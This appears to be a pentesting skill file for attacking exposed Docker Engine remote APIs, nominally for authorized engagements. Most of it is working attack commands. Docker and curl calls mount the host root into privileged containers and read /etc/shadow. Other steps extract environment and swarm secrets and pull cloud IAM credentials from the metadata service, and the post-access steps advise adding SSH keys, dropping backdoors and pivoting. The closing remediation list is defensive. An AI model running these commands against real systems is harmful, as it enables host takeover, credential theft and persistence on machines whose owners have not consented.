pentesting-docker

name	pentesting-docker
description	Testing the Docker Engine remote API (default 2375/TCP plaintext, 2376/TCP TLS) for unauthenticated access leading to instant host takeover by mounting the host filesystem into a privileged container, plus secret/credential extraction and container-escape pivoting during authorized engagements.
domain	cybersecurity
subdomain	network-services-pentesting
tags	["penetration-testing","network-services","docker"]
version	1.0
author	xalgorix
license	Apache-2.0

Pentesting Docker Engine API (port 2375)

When to Use

• Default port 2375/tcp (plaintext remote API) and 2376/tcp (TLS endpoint). The API is unauthenticated by default when enabled over TCP.
• When nmap shows 2375/tcp open docker, or you find a DOCKER_HOST / exposed /var/run/docker.sock proxied to the network.
• Exposed Docker API = effectively root on the host: an attacker can mount / into a container and read/write any host file.

Quick Enumeration

# Version via curl or the docker client
curl -s http://open.docker.socket:2375/version | jq
docker -H open.docker.socket:2375 version
docker -H open.docker.socket:2375 info

# Avoid -H by exporting the host
export DOCKER_HOST="tcp://localhost:2375"
docker ps -a           # running + stopped containers
docker images          # local images
docker network ls

# Nmap / Metasploit
nmap -sV --script "docker-*" -p <PORT> <IP>
msf> use exploit/linux/http/docker_daemon_tcp

Critical: Checks Most Often Missed

• Unauthenticated API = root RCE — the #1 finding. Mount the host root into a privileged container and you own the box:

docker -H <host>:2375 run --rm -it -v /:/host/ ubuntu:latest chroot /host/ bash
# or in one shot
docker -H <host>:2375 run --rm -it --privileged --net=host -v /:/mnt alpine
cat /mnt/etc/shadow

• TLS endpoint on 2376 still usable via curl — the docker client may refuse it, but the raw HTTP API often works. Create a container that bind-mounts the host and reads /etc/shadow:

curl --insecure -X POST -H "Content-Type: application/json" \
  https://tls-opendocker.socket:2376/containers/create?name=test \
  -d '{"Image":"alpine","Cmd":["/usr/bin/tail","-f","/dev/null"],"Binds":["/:/mnt"],"Privileged":true}'
curl --insecure -X POST https://tls-opendocker.socket:2376/containers/<id>/start
curl --insecure -X POST -H "Content-Type: application/json" \
  https://tls-opendocker.socket:2376/containers/<id>/exec \
  -d '{"AttachStdout":true,"Cmd":["/bin/sh","-c","cat /mnt/etc/shadow"]}'
curl --insecure -X POST https://tls-opendocker.socket:2376/exec/<execid>/start -d '{}'

• Secrets / env leakage — docker inspect env vars and swarm secrets frequently hold passwords, IPs, API keys, cloud-metadata creds.
• Cloud metadata SSRF from inside a container — exec a job that hits 169.254.169.254 for instance credentials.

How to CONFIRM

• Unauthenticated access: docker -H <IP>:2375 version returns Server engine details (not connection refused / 401).
• Host compromise: the privileged -v /:/mnt container can cat /mnt/etc/shadow (proves full host read/write).
• TLS API: curl --insecure https://<IP>:2376/containers/json returns the container list without a client certificate.

Workflow

Step 1: Enumerate

Confirm the API answers: docker -H <IP>:2375 version / curl .../version | jq. List containers, images and networks. Note engine version and whether TLS (2376) is in play.

Step 2: Authenticate / unauth access

The TCP API has no auth by default — test directly. For 2376, retry via curl --insecure. List secrets/services if swarm is set up:

curl -s --insecure https://<IP>:2376/secrets | jq
curl -s --insecure https://<IP>:2376/services | jq

Step 3: Exploit / Extract

• Mount the host filesystem into a privileged container for read/write root access (commands above).
• Pull secrets from container env and mounted files:

docker -H <IP>:2375 inspect <docker_id>     # check Env for passwords/IPs/paths
docker -H <IP>:2375 cp <docker_id>:/etc/<secret> ./secret_01

• Read mounted swarm secrets via exec (cat /run/secrets/<name>).

Step 4: Post-access / pivot

With host root via the bind-mount, add SSH keys/users, dump credentials, or drop a backdoor. From a weak container you can also escape to the host (container-security techniques). Use harvested env secrets and cloud-metadata creds to pivot into the wider environment.

Key Concepts

Concept	Description
Remote API (2375)	Docker Engine HTTP API; unauthenticated by default over TCP
TLS API (2376)	mTLS-protected endpoint; often reachable via raw curl --insecure
Bind mount -v /:/mnt	Mounts host root into a container -> full host file access
--privileged / --net=host	Drops isolation; eases host takeover and escape
Swarm secrets	Stored secrets exposed at /run/secrets/ and via /secrets API
containerd / runc / podman	Underlying runtimes; podman is daemonless/rootless (different exposure)

Tools & Systems

Tool	Purpose
docker CLI (-H tcp://)	Direct interaction with the remote API
curl + jq	Raw API calls (esp. the 2376 TLS endpoint)
nmap docker- NSE*	Service/version detection
Metasploit docker_daemon_tcp	Exploit module for exposed API
PayloadsAllTheThings Docker API RCE.py	Scripted host-mount RCE
docker-bench-security / dockscan / amicontained	Config auditing / privilege assessment

Common Scenarios

Scenario 1: Open API -> instant root

2375/tcp is exposed with no auth; docker -H <IP>:2375 run -v /:/mnt --privileged alpine yields read/write of /etc/shadow and host persistence.

Scenario 2: TLS endpoint via curl

The docker client can't connect to 2376, but curl --insecure creates a privileged host-mounted container and reads host secrets.

Scenario 3: Cloud credential theft

An exec job inside a container fetches 169.254.169.254/latest/meta-data/.../security-credentials/, yielding cloud IAM creds for lateral movement.

Output Format

## Docker Engine API Finding

**Service**: Docker remote API (2375/tcp plaintext | 2376/tcp TLS)
**Severity**: Critical
**Target**: <IP>:<port>  Engine: <version>

### Evidence
- Unauthenticated API access confirmed: docker -H <IP>:2375 version returned server details
- Host takeover: privileged container with -v /:/mnt read /etc/shadow
- Secrets recovered: <env vars / swarm secrets / cloud metadata creds>

### Reproduction
docker -H <IP>:2375 run --rm -it --privileged -v /:/mnt alpine cat /mnt/etc/shadow

### Recommendation
1. Never expose the Docker API over TCP; bind to the local unix socket only
2. If remote access is required, enforce mTLS (2376) AND restrict by firewall/IP
3. Enable authorization plugins; drop --privileged and host bind mounts
4. Treat docker socket access as root-equivalent; audit who/what can reach it